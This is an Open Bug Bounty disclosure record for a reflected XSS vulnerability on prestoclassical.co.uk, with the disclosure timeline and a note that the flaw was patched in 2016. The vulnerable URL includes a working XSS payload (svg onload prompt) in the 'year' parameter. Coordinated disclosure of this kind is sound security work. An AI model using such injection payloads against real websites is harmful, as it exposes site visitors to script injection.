Lucene search

K
openbugbountyEbOBB:157342
HistoryJun 02, 2016 - 7:23 a.m.

prestoclassical.co.uk XSS vulnerability

2016-06-0207:23:00
eb
www.openbugbounty.org
8
Vulnerable URL:
http://www.prestoclassical.co.uk/gramophone.php?year=%22%3E%3Csvg/onload=prompt%28/OPENBUGBOUNTY/%29%3E&issue;=08
Details:
Description Value
Patched: Yes, at
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 49829
VIP website status: Yes
Check prestoclassical.co.uk SSL connection: (Grade: F)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 2 June, 2016 07:23 GMT
Generic security notifications sent to website owner 2 June, 2016 07:26 GMT
Notification sent to subscribers (without technical details) 2 June, 2016 10:17 GMT
Vulnerability details disclosed by researcher 25 August, 2016 08:12 GMT
Vulnerability patched by the website owner 26 August, 2016 00:32 GMT